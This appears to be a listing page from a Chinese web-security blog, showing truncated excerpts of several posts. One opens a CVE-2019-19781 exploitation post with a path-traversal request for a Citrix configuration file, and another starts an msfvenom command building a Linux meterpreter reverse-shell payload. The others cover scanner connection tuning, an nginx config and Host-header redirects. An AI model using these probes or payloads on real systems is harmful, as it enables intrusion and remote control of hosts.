CVE-2019-19781 漏洞利用

Jan 13,2020 in CVE,web安全 read (4147)

1.判断是否使用了相关组件GET /vpn/../vpns/cfg/smb.conf HTTP/1.1 Host: 114.xxx.xxx.234 User-Agent: python-requests/2.22.0 Accept-Encoding: gzip, defla...

高并发扫描操作导致过多长连接（CLOSE_WAIT）解决

Dec 21,2019 in web安全 read (1594)

1.在header中不使用持久连接‘Connection’: ‘close’ 或 requests.adapters.DEFAULT_RETRIES = 52.若是请求过快，可设置time.sleep3.使用代理ip4.Requests请求时有时会请求不到页面，或是请求到空...

Nov 04,2019 in web安全 read (1382)

server{ listen 8080; // 监听端口 server_name _; // 域名，用于代替将要访问的端口号 root /var/www/chuiniubi/dist; // 将要访问的网站的目录 location / { ...

Jul 30,2018 in web安全 read (6418)

转自freebuf url:http://www.freebuf.com/articles/web/178315.html前言访问网站时如果访问路径中缺少/，大多数中间件都会自动将路径补全，返回302或301跳转如下图，Location位置的域名会使用Host头的值。这种...

Apr 04,2018 in web安全 read (2060)

BinariesLinuxmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf >...